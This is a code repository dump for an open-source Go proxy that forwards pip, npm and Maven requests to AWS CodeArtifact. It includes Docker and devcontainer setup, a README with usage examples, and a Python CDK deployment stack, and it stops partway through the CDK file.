├── .devcontainer ├── Dockerfile ├── devcontainer.json └── post_create.sh ├── .dockerignore ├── .envrc ├── .gitignore ├── .pre-commit-config.yaml ├── Dockerfile ├── LICENSE ├── README.md ├── cdk ├── .gitignore ├── Pipfile ├── Pipfile.lock ├── README.md ├── app.py ├── cdk.context.json ├── cdk.json ├── cdk │ ├── __init__.py │ └── code_artifact_proxy.py └── tests │ ├── __init__.py │ └── unit │ ├── __init__.py │ └── test_cdk_stack.py ├── flake.lock ├── flake.nix └── src ├── go.mod ├── go.sum ├── main.go └── tools ├── aws.go └── proxy.go /.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mcr.microsoft.com/devcontainers/go:1.18 2 | ENV EDITOR=vim 3 | 4 | RUN apt-get update && export DEBIAN_FRONTEND=noninteractive && \ 5 | apt-get install -y --no-install-recommends vim gnupg2 ripgrep && \ 6 | apt-get clean && rm -rf /var/lib/apt/lists/* 7 | -------------------------------------------------------------------------------- /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | "build": { 3 | "dockerfile": "Dockerfile" 4 | }, 5 | "customizations": { 6 | "vscode": { 7 | "extensions": [ 8 | "eamodio.gitlens", 9 | "golang.Go", 10 | "ms-python.python", 11 | "ms-python.vscode-pylance", 12 | "GitHub.copilot", 13 | "mutantdino.resourcemonitor" 14 | ], 15 | "settings": { 16 | "resmon.show.battery": false, 17 | "resmon.show.cpufreq": false 18 | } 19 | } 20 | }, 21 | "mounts": [ 22 | "source=${localEnv:HOME}${localEnv:USERPROFILE}/.aws/,target=/home/vscode/.aws,type=bind,consistency=cached" 23 | ], 24 | "remoteEnv": { 25 | "AWS_DEFAULT_REGION": "ap-southeast-2", 26 | "AWS_PROFILE": "sktansandbox", 27 | "CODEARTIFACT_DOMAIN": "sktansandbox", 28 | "CODEARTIFACT_REPO": "sandbox" 29 | }, 30 | "features": { 31 | // Used build and deploy docker containers 32 | "docker-in-docker": { 33 | "version": "latest", 34 | "moby": true 35 | }, 36 | // Used for AWS CLI 37 | "aws-cli": "latest", 38 | // Testing out the proxy mechanism and for deploying via CDK 39 | "python": { 40 | "version": "lts" 41 | }, 42 | "node": { 43 | "version": "lts", 44 | "nodeGypDependencies": true 45 | } 46 | }, 47 | "postCreateCommand": ".devcontainer/post_create.sh" 48 | } 49 | -------------------------------------------------------------------------------- /.devcontainer/post_create.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | npm install -g aws-cdk 4 | pip install pre-commit 5 | -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | * 2 | !src 3 | -------------------------------------------------------------------------------- /.envrc: -------------------------------------------------------------------------------- 1 | if command -v nix >/dev/null 2>/dev/null; then 2 | use flake 3 | fi 4 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | 17 | # Nix direnv cache 18 | /.direnv/ 19 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | repos: 2 | - repo: https://github.com/pre-commit/pre-commit-hooks 3 | rev: v4.1.0 4 | hooks: 5 | - id: trailing-whitespace 6 | - id: end-of-file-fixer 7 | - id: mixed-line-ending 8 | # - id: no-commit-to-branch 9 | # name: Don't commit to master 10 | - repo: https://github.com/psf/black 11 | rev: 22.3.0 12 | hooks: 13 | - id: black 14 | language_version: python3.11 15 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.18-alpine as app-builder 2 | WORKDIR /go/src/app 3 | 4 | COPY src . 5 | 6 | RUN CGO_ENABLED=0 go install -ldflags '-extldflags "-static"' -tags timetzdata 7 | 8 | # Build actual image with the compiled app 9 | FROM scratch 10 | 11 | LABEL maintainer="git@sktan.com" 12 | 13 | COPY --from=app-builder /go/bin/aws-codeartifact-proxy /aws-codeartifact-proxy 14 | COPY --from=app-builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ 15 | 16 | ENTRYPOINT ["/aws-codeartifact-proxy"] 17 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Steven Tan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AWS Code Artifact Proxy 2 | 3 | An AWS Code Artifact Proxy that allows you to point your package managers to Code Artifact without the need of managing credentials. 4 | 5 | ## Why was this built? 6 | 7 | Not every user who pulls code from your private codeartifact repository needs AWS credentials: 8 | - Users of CLI tooling you are deploying internally in your comapny 9 | - Developers of applications that don't interact with AWS but rely on a private Python / Node library. 10 | - Maybe you have firewalling requirements or want the ability to see which packages are being installed by your developers? 11 | 12 | ## Features: 13 | 14 | Although I haven't been able to test them all, the proxy should support the following artifact types (replace `artifacts.example.com` with your deployed proxy hostname). 15 | 16 | | Repository Type | Tested | URL | 17 | | --------------- | ------ | ------------------------------------- | 18 | | Pypi | Yes | https://artifacts.example.com/simple/ | 19 | | NPM | Yes | https://artifacts.example.com/ | 20 | | Maven | No | https://artifacts.example.com/ | 21 | 22 | Currently we only support choosing a single repository at launch, athough maybe in the future I will look at automatically figure out which repository to use based on the useragent. This should simplify setup. 23 | 24 | ## How to Use? 25 | 26 | There are a variety of options for running `aws-codeartifact-proxy`: 27 | 28 | - Download the release from the Github page and run it directly on any Linux server. 29 | - Run the container `sktan/aws-codeartifact-proxy` on any capable host (AWS ECS, AWS EC2, Linux / Windows VM) 30 | - The [`cdk` directory](./cdk) contains a CDK template for deployment to AWS (requires Python) 31 | - Run as a [Nix flake](https://nixos.wiki/wiki/Flakes): 32 | ```shell 33 | nix run github:sktan/aws-codeartifact-proxy 34 | ``` 35 | 36 | Configuration is done via Environment Variables: 37 | 38 | | Environment Variable | Required? | Description | 39 | | -------------------- | ---------- | ----------------------- | 40 | | `CODEARTIFACT_REPO` | Yes | Your CodeArtifact Repository Name (e.g. sandbox) | 41 | | `CODEARTIFACT_DOMAIN` | Yes | Your CodeArtifact Domain (e.g. sktansandbox) | 42 | | `CODEARTIFACT_TYPE` | No | Use one of the following: pypi, npm, maven | 43 | | `CODEARTIFACT_OWNER` | No | The AWS Account ID of the CodeArtifact Owner (if it's your own account, it can be empty) | 44 | | `LISTEN_PORT` | No | Port on which the proxy should listen. Defaults to 8080 | 45 | 46 | By default, the proxy will choose to use the Pypi as its type. 47 | 48 | Once you have started the proxy with valid AWS credentials (this uses the [default credential provider chain](https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials)), you should receive similar output to this: 49 | 50 | ``` 51 | 2022/04/03 04:41:53 Authenticating against CodeArtifact 52 | 2022/04/03 04:41:53 Authorization successful 53 | 2022/04/03 04:41:53 Requests will now be proxied to https://sktansandbox-1234567890.d.codeartifact.ap-southeast-2.amazonaws.com/pypi/sandbox/ 54 | ``` 55 | 56 | ### Docker Examples 57 | 58 | Docker CLI: 59 | 60 | ``` 61 | docker run -v /root/.aws/:/.aws -e AWS_PROFILE=sktansandbox -e CODEARTIFACT_DOMAIN=sktansandbox -e CODEARTIFACT_REPO=sandbox -e CODEARTIFACT_TYPE=npm -p 8080:8080 sktan/aws-codeartifact-proxy 62 | ``` 63 | 64 | Docker Compose: 65 | 66 | ```yaml 67 | version: '3.1' 68 | 69 | services: 70 | codeartifact-proxy: 71 | image: sktan/aws-codeartifact-proxy 72 | restart: always 73 | volumes: 74 | - /home/sktan/.aws/:/.aws 75 | environment: 76 | AWS_PROFILE: sktansandbox 77 | CODEARTIFACT_DOMAIN: sktansandbox 78 | CODEARTIFACT_REPO: sandbox 79 | CODEARTIFACT_OWNER: 1234567890 80 | CODEARTIFACT_TYPE: pypi 81 | ports: 82 | - 8080:8080 83 | ``` 84 | 85 | ### AWS CDK Example 86 | 87 | You will be able to use the CDK template in the `cdk` directory to create a Load Balancer, a fargate container and a CodeArtifact repository (if you desire). 88 | 89 | Modify the variables in app.py (or copy the `cdk/code_artifact_proxy.py` file to your codebase). 90 | 91 | ``` 92 | root ➜ /workspaces/aws-codeartifact-proxy/cdk (cdk ✗) $ pipenv install 93 | Installing dependencies from Pipfile.lock (1a118d)... 94 | 🐍 ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ 0/0 — 00:00:00 95 | To activate this project's virtualenv, run pipenv shell. 96 | Alternatively, run a command inside the virtualenv with pipenv run. 97 | root ➜ /workspaces/aws-codeartifact-proxy/cdk (cdk ✗) $ pipenv run cdk deploy 98 | ``` 99 | 100 | If you'd rather use your own CDK codebase, you can use the following snippet in your `app.py` file: 101 | 102 | ```python 103 | # Replace me with where you have placed your codeartifact module 104 | from cdk.code_artifact_proxy import CodeArtifactProxy 105 | 106 | proxy = CodeArtifactProxy( 107 | app, 108 | "codeartifact-proxy", 109 | # Replace the 3 lines below with your own values 110 | domain_name="mycodeartifactdomain", 111 | repository_name="internalrepo", 112 | vpc_id="vpc-1234567", 113 | env=cdk.Environment( 114 | account=os.environ["CDK_DEFAULT_ACCOUNT"], 115 | region=os.environ["CDK_DEFAULT_REGION"], 116 | ), 117 | ) 118 | 119 | # This is actually optional if you do not already have a codeartifact repository 120 | proxy.create_code_artifact() 121 | proxy.create_loadbalanced_fargate() 122 | ``` 123 | 124 | ## Testing Access 125 | 126 | And to test that it is working, using `pip` against the proxy should result in similar output: 127 | 128 | ``` 129 | ## CLI Output 130 | root ➜ /workspaces/aws-codeartifact-proxy (master ✗) $ pip download --index-url="http://localhost:8080/simple" --no-deps boto3 131 | Looking in indexes: http://localhost:8080/simple 132 | Collecting boto3 133 | Downloading http://localhost:8080/simple/boto3/1.21.32/boto3-1.21.32-py3-none-any.whl (132 kB) 134 | ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 132.4/132.4 KB 20.6 MB/s eta 0:00:00 135 | Saved ./boto3-1.21.32-py3-none-any.whl 136 | Successfully downloaded boto3 137 | 138 | ## Proxy Output 139 | 2022/04/03 04:52:44 REQ: 127.0.0.1:52066 GET "/simple/boto3/" "pip/22.0.4 ...." 140 | 2022/04/03 04:52:44 Sending request to https://sktansandbox-1234567890.d.codeartifact.ap-southeast-2.amazonaws.com/pypi/sandbox/simple/boto3/ 141 | 2022/04/03 04:52:44 RES: 127.0.0.1:52066 "GET" 200 "/simple/boto3/" "pip/22.0.4 ...." 142 | ``` 143 | 144 | NPM output: 145 | ``` 146 | root ➜ /tmp (master ✗) $ npm view --registry http://localhost:8080 axios dist.tarball 147 | http://localhost:8080/axios/-/axios-0.26.1.tgz 148 | 149 | root ➜ /tmp (master ✗) $ npm install --registry http://localhost:8080 axios 150 | 151 | added 2 packages in 2s 152 | 153 | 1 package is looking for funding 154 | run `npm fund` for details 155 | ``` 156 | 157 | ### IAM Permissions 158 | 159 | Use the following permissions to grant the proxy ReadOnly access to the CodeArtifact repository. 160 | 161 | ```json 162 | { 163 | "Version": "2012-10-17", 164 | "Statement": [ 165 | { 166 | "Action": [ 167 | "codeartifact:Describe*", 168 | "codeartifact:Get*", 169 | "codeartifact:List*", 170 | "codeartifact:ReadFromRepository" 171 | ], 172 | "Effect": "Allow", 173 | "Resource": "*" 174 | }, 175 | { 176 | "Effect": "Allow", 177 | "Action": "sts:GetServiceBearerToken", 178 | "Resource": "*", 179 | "Condition": { 180 | "StringEquals": { 181 | "sts:AWSServiceName": "codeartifact.amazonaws.com" 182 | } 183 | } 184 | } 185 | ] 186 | } 187 | ``` 188 | 189 | ## Contributing 190 | 191 | If you'd like to contribute to this project, please feel free to raise a pull request. I would highly recommend using the devcontainer setup in this repo, as it will provide you a working development environment. 192 | 193 | If you find any bugs, please raise it as a Github issue and I will have a look at it. 194 | -------------------------------------------------------------------------------- /cdk/.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | package-lock.json 3 | __pycache__ 4 | .pytest_cache 5 | .venv 6 | *.egg-info 7 | 8 | # CDK asset staging directory 9 | .cdk.staging 10 | cdk.out 11 | -------------------------------------------------------------------------------- /cdk/Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.org/simple" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | aws-cdk-lib = "*" 8 | constructs = "*" 9 | 10 | [dev-packages] 11 | black = "*" 12 | pytest = "*" 13 | 14 | [requires] 15 | python_version = "3.10" 16 | -------------------------------------------------------------------------------- /cdk/Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "1633176d21fafac1395d7822adb05660ef78e6e8ce322102dc02da902a1a118d" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": { 8 | "python_version": "3.10" 9 | }, 10 | "sources": [ 11 | { 12 | "name": "pypi", 13 | "url": "https://pypi.org/simple", 14 | "verify_ssl": true 15 | } 16 | ] 17 | }, 18 | "default": { 19 | "attrs": { 20 | "hashes": [ 21 | "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", 22 | "sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd" 23 | ], 24 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", 25 | "version": "==21.4.0" 26 | }, 27 | "aws-cdk-lib": { 28 | "hashes": [ 29 | "sha256:0014fa03ccaee987ead9eb6bad9329f5801bf34bb2322a509ec034b7c7d2e859", 30 | "sha256:ff32bd82f17f512bde6731e917675974934626ddac420a7cec0010b4a20320c6" 31 | ], 32 | "index": "pypi", 33 | "version": "==2.20.0" 34 | }, 35 | "cattrs": { 36 | "hashes": [ 37 | "sha256:94b67b64cf92c994f8784c40c082177dc916e0489a73a9a36b24eb18a9db40c6", 38 | "sha256:d55c477b4672f93606e992049f15d526dc7867e6c756cd6256d4af92e2b1e364" 39 | ], 40 | "markers": "python_version >= '3.7'", 41 | "version": "==22.1.0" 42 | }, 43 | "constructs": { 44 | "hashes": [ 45 | "sha256:40cd4b0c4397019a69773299ca6a389c7874958aec1699b654df883333db10ec", 46 | "sha256:c65b217aad02545fbf9c99e93ea11ed2054b9488ee022bd933599ad7441c8d37" 47 | ], 48 | "index": "pypi", 49 | "version": "==10.0.110" 50 | }, 51 | "exceptiongroup": { 52 | "hashes": [ 53 | "sha256:4d254b05231bed1d43079bdcfe0f1d66c0ab4783e6777a329355f9b78de3ad83", 54 | "sha256:83e465152bd0bc2bc40d9b75686854260f86946bb947c652b5cafc31cdff70e7" 55 | ], 56 | "markers": "python_version < '3.11'", 57 | "version": "==1.0.0rc2" 58 | }, 59 | "jsii": { 60 | "hashes": [ 61 | "sha256:8e61eb860a9a76c66cde44ce3a1e6f66b4b5ab3683131ca49124785f75f3792c", 62 | "sha256:d393c72aa1864de301b95b65b161efc8838999b32099cd8d7cda6a03cea3cff9" 63 | ], 64 | "markers": "python_version ~= '3.6'", 65 | "version": "==1.56.0" 66 | }, 67 | "publication": { 68 | "hashes": [ 69 | "sha256:0248885351febc11d8a1098d5c8e3ab2dabcf3e8c0c96db1e17ecd12b53afbe6", 70 | "sha256:68416a0de76dddcdd2930d1c8ef853a743cc96c82416c4e4d3b5d901c6276dc4" 71 | ], 72 | "version": "==0.0.3" 73 | }, 74 | "python-dateutil": { 75 | "hashes": [ 76 | "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86", 77 | "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9" 78 | ], 79 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", 80 | "version": "==2.8.2" 81 | }, 82 | "six": { 83 | "hashes": [ 84 | "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", 85 | "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" 86 | ], 87 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", 88 | "version": "==1.16.0" 89 | }, 90 | "typing-extensions": { 91 | "hashes": [ 92 | "sha256:1a9462dcc3347a79b1f1c0271fbe79e844580bb598bafa1ed208b94da3cdcd42", 93 | "sha256:21c85e0fe4b9a155d0799430b0ad741cdce7e359660ccbd8b530613e8df88ce2" 94 | ], 95 | "markers": "python_version >= '3.6'", 96 | "version": "==4.1.1" 97 | } 98 | }, 99 | "develop": { 100 | "attrs": { 101 | "hashes": [ 102 | "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", 103 | "sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd" 104 | ], 105 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", 106 | "version": "==21.4.0" 107 | }, 108 | "black": { 109 | "hashes": [ 110 | "sha256:2818cf72dfd5d289e48f37ccfa08b460bf469e67fb7c4abb07edc2e9f16fb63f", 111 | "sha256:41622020d7120e01d377f74249e677039d20e6344ff5851de8a10f11f513bf93", 112 | "sha256:4acf672def7eb1725f41f38bf6bf425c8237248bb0804faa3965c036f7672d11", 113 | "sha256:4be5bb28e090456adfc1255e03967fb67ca846a03be7aadf6249096100ee32d0", 114 | "sha256:4f1373a7808a8f135b774039f61d59e4be7eb56b2513d3d2f02a8b9365b8a8a9", 115 | "sha256:56f52cfbd3dabe2798d76dbdd299faa046a901041faf2cf33288bc4e6dae57b5", 116 | "sha256:65b76c275e4c1c5ce6e9870911384bff5ca31ab63d19c76811cb1fb162678213", 117 | "sha256:65c02e4ea2ae09d16314d30912a58ada9a5c4fdfedf9512d23326128ac08ac3d", 118 | "sha256:6905238a754ceb7788a73f02b45637d820b2f5478b20fec82ea865e4f5d4d9f7", 119 | "sha256:79dcf34b33e38ed1b17434693763301d7ccbd1c5860674a8f871bd15139e7837", 120 | "sha256:7bb041dca0d784697af4646d3b62ba4a6b028276ae878e53f6b4f74ddd6db99f", 121 | "sha256:7d5e026f8da0322b5662fa7a8e752b3fa2dac1c1cbc213c3d7ff9bdd0ab12395", 122 | "sha256:9f50ea1132e2189d8dff0115ab75b65590a3e97de1e143795adb4ce317934995", 123 | "sha256:a0c9c4a0771afc6919578cec71ce82a3e31e054904e7197deacbc9382671c41f", 124 | "sha256:aadf7a02d947936ee418777e0247ea114f78aff0d0959461057cae8a04f20597", 125 | "sha256:b5991d523eee14756f3c8d5df5231550ae8993e2286b8014e2fdea7156ed0959", 126 | "sha256:bf21b7b230718a5f08bd32d5e4f1db7fc8788345c8aea1d155fc17852b3410f5", 127 | "sha256:c45f8dff244b3c431b36e3224b6be4a127c6aca780853574c00faf99258041eb", 128 | "sha256:c7ed6668cbbfcd231fa0dc1b137d3e40c04c7f786e626b405c62bcd5db5857e4", 129 | "sha256:d7de8d330763c66663661a1ffd432274a2f92f07feeddd89ffd085b5744f85e7", 130 | "sha256:e19cb1c6365fd6dc38a6eae2dcb691d7d83935c10215aef8e6c38edee3f77abd", 131 | "sha256:e2af80566f43c85f5797365077fb64a393861a3730bd110971ab7a0c94e873e7" 132 | ], 133 | "index": "pypi", 134 | "markers": "python_version >= '3.8'", 135 | "version": "==24.3.0" 136 | }, 137 | "click": { 138 | "hashes": [ 139 | "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28", 140 | "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de" 141 | ], 142 | "markers": "python_version >= '3.7'", 143 | "version": "==8.1.7" 144 | }, 145 | "iniconfig": { 146 | "hashes": [ 147 | "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3", 148 | "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32" 149 | ], 150 | "version": "==1.1.1" 151 | }, 152 | "mypy-extensions": { 153 | "hashes": [ 154 | "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d", 155 | "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782" 156 | ], 157 | "markers": "python_version >= '3.5'", 158 | "version": "==1.0.0" 159 | }, 160 | "packaging": { 161 | "hashes": [ 162 | "sha256:2ddfb553fdf02fb784c234c7ba6ccc288296ceabec964ad2eae3777778130bc5", 163 | "sha256:eb82c5e3e56209074766e6885bb04b8c38a0c015d0a30036ebe7ece34c9989e9" 164 | ], 165 | "markers": "python_version >= '3.7'", 166 | "version": "==24.0" 167 | }, 168 | "pathspec": { 169 | "hashes": [ 170 | "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08", 171 | "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712" 172 | ], 173 | "markers": "python_version >= '3.8'", 174 | "version": "==0.12.1" 175 | }, 176 | "platformdirs": { 177 | "hashes": [ 178 | "sha256:0614df2a2f37e1a662acbd8e2b25b92ccf8632929bc6d43467e17fe89c75e068", 179 | "sha256:ef0cc731df711022c174543cb70a9b5bd22e5a9337c8624ef2c2ceb8ddad8768" 180 | ], 181 | "markers": "python_version >= '3.8'", 182 | "version": "==4.2.0" 183 | }, 184 | "pluggy": { 185 | "hashes": [ 186 | "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159", 187 | "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3" 188 | ], 189 | "markers": "python_version >= '3.6'", 190 | "version": "==1.0.0" 191 | }, 192 | "py": { 193 | "hashes": [ 194 | "sha256:51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719", 195 | "sha256:607c53218732647dff4acdfcd50cb62615cedf612e72d1724fb1a0cc6405b378" 196 | ], 197 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", 198 | "version": "==1.11.0" 199 | }, 200 | "pyparsing": { 201 | "hashes": [ 202 | "sha256:7bf433498c016c4314268d95df76c81b842a4cb2b276fa3312cfb1e1d85f6954", 203 | "sha256:ef7b523f6356f763771559412c0d7134753f037822dad1b16945b7b846f7ad06" 204 | ], 205 | "markers": "python_full_version >= '3.6.8'", 206 | "version": "==3.0.8" 207 | }, 208 | "pytest": { 209 | "hashes": [ 210 | "sha256:841132caef6b1ad17a9afde46dc4f6cfa59a05f9555aae5151f73bdf2820ca63", 211 | "sha256:92f723789a8fdd7180b6b06483874feca4c48a5c76968e03bb3e7f806a1869ea" 212 | ], 213 | "index": "pypi", 214 | "version": "==7.1.1" 215 | }, 216 | "tomli": { 217 | "hashes": [ 218 | "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc", 219 | "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f" 220 | ], 221 | "markers": "python_version < '3.11'", 222 | "version": "==2.0.1" 223 | }, 224 | "typing-extensions": { 225 | "hashes": [ 226 | "sha256:69b1a937c3a517342112fb4c6df7e72fc39a38e7891a5730ed4985b5214b5475", 227 | "sha256:b0abd7c89e8fb96f98db18d86106ff1d90ab692004eb746cf6eda2682f91b3cb" 228 | ], 229 | "markers": "python_version < '3.11'", 230 | "version": "==4.10.0" 231 | } 232 | } 233 | } 234 | -------------------------------------------------------------------------------- /cdk/README.md: -------------------------------------------------------------------------------- 1 | 2 | # AWS Code Commit Proxy CDK Stack 3 | 4 | This deploys a CDK stack with the following resources: 5 | 6 | 1. AWS Application Load Balancer 7 | 2. Fargate Container 8 | 3. IAM Role for Fargate access to Code Artifact 9 | 4. (Optional) Code Artifact Repository 10 | 5. (Optional) VPC 11 | -------------------------------------------------------------------------------- /cdk/app.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | 4 | import aws_cdk as cdk 5 | 6 | from cdk.code_artifact_proxy import CodeArtifactProxy 7 | 8 | app = cdk.App() 9 | 10 | cdk_env = cdk.Environment( 11 | account=os.environ["CDK_DEFAULT_ACCOUNT"], 12 | region=os.environ["CDK_DEFAULT_REGION"], 13 | ) 14 | 15 | proxy = CodeArtifactProxy( 16 | app, 17 | "codeartifact-proxy", 18 | # Replace the 3 lines below with your own values 19 | domain_name="mycodeartifactdomain", 20 | repository_name="internalrepo", 21 | vpc_id="vpc-1234567", 22 | env=cdk_env, 23 | ) 24 | 25 | # This is actually optional if you do not already have a codeartifact repository 26 | proxy.create_code_artifact() 27 | proxy.create_loadbalanced_fargate() 28 | 29 | app.synth() 30 | -------------------------------------------------------------------------------- /cdk/cdk.context.json: -------------------------------------------------------------------------------- 1 | {} 2 | -------------------------------------------------------------------------------- /cdk/cdk.json: -------------------------------------------------------------------------------- 1 | { 2 | "app": "python3 app.py", 3 | "watch": { 4 | "include": [ 5 | "**" 6 | ], 7 | "exclude": [ 8 | "README.md", 9 | "cdk*.json", 10 | "requirements*.txt", 11 | "source.bat", 12 | "**/__init__.py", 13 | "python/__pycache__", 14 | "tests" 15 | ] 16 | }, 17 | "context": { 18 | "@aws-cdk/aws-apigateway:usagePlanKeyOrderInsensitiveId": true, 19 | "@aws-cdk/core:stackRelativeExports": true, 20 | "@aws-cdk/aws-rds:lowercaseDbIdentifier": true, 21 | "@aws-cdk/aws-lambda:recognizeVersionProps": true, 22 | "@aws-cdk/aws-cloudfront:defaultSecurityPolicyTLSv1.2_2021": true, 23 | "@aws-cdk-containers/ecs-service-extensions:enableDefaultLogDriver": true, 24 | "@aws-cdk/aws-ec2:uniqueImdsv2TemplateName": true, 25 | "@aws-cdk/aws-iam:minimizePolicies": true, 26 | "@aws-cdk/core:target-partitions": [ 27 | "aws", 28 | "aws-cn" 29 | ] 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /cdk/cdk/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wholetherapi/aws-codeartifact-proxy/9d2252b5255dfaa79f833aef83a967abfacc6762/cdk/cdk/__init__.py -------------------------------------------------------------------------------- /cdk/cdk/code_artifact_proxy.py: -------------------------------------------------------------------------------- 1 | import aws_cdk as cdk 2 | from aws_cdk import ( 3 | Stack, 4 | aws_ecs as ecs, 5 | aws_ecs_patterns as ecs_patterns, 6 | aws_codeartifact as codeartifact, 7 | aws_ssm as ssm, 8 | aws_ec2 as ec2, 9 | aws_elasticloadbalancingv2 as elbv2, 10 | aws_certificatemanager as acm, 11 | aws_iam as iam, 12 | ) 13 | from constructs import Construct 14 | 15 | 16 | class CodeArtifactProxy(Stack): 17 | """A CDK stack that creates the resources required for a Code Artifact Proxy (deployed as a load balanced fargate service)""" 18 | 19 | __ecs_service: ecs_patterns.ApplicationLoadBalancedFargateService = None 20 | vpc: ec2.Vpc = None 21 | 22 | domain_name: str = None 23 | repository_name: str = None 24 | domain_owner: str = None 25 | 26 | def __init__( 27 | self, 28 | scope: Construct, 29 | construct_id: str, 30 | domain_name: str, 31 | repository_name: str, 32 | domain_owner: str = None, 33 | vpc_id: str = None, 34 | **kwargs, 35 | ) -> None: 36 | super().__init__(scope, construct_id, **kwargs) 37 | 38 | self.domain_name = domain_name 39 | self.repository_name = repository_name 40 | self.domain_owner = domain_owner 41 | 42 | self.vpc = ec2.Vpc.from_lookup( 43 | self, 44 | "codeartifact_proxy_vpc", 45 | vpc_id=vpc_id, 46 | ) 47 | 48 | def attach_iam_role(self): 49 | """Attaches an IAM role to the Fargate Container with some permissions to use codeartifact""" 50 | self.__ecs_service.task_definition.add_to_task_role_policy( 51 | statement=iam.PolicyStatement( 52 | actions=[ 53 | "codeartifact:Describe*", 54 | "codeartifact:Get*", 55 | "codeartifact:List*", 56 | "codeartifact:ReadFromRepository", 57 | ], 58 | resources=[ 59 | cdk.Arn.format( 60 | components=cdk.ArnComponents( 61 | account=self.domain_owner, 62 | service="logs", 63 | resource="repository", 64 | resource_name=f"{self.domain_name}/{self.repository_name}", 65 | ), 66 | stack=self, 67 | ) 68 | ], 69 | ) 70 | ) 71 | self.__ecs_service.task_definition.add_to_task_role_policy( 72 | statement=iam.PolicyStatement( 73 | actions=["sts:GetServiceBearerToken"], 74 | resources=["*"], 75 | conditions={ 76 | "StringEquals": {"sts:AWSServiceName": "codeartifact.amazonaws.com"} 77 | }, 78 | ) 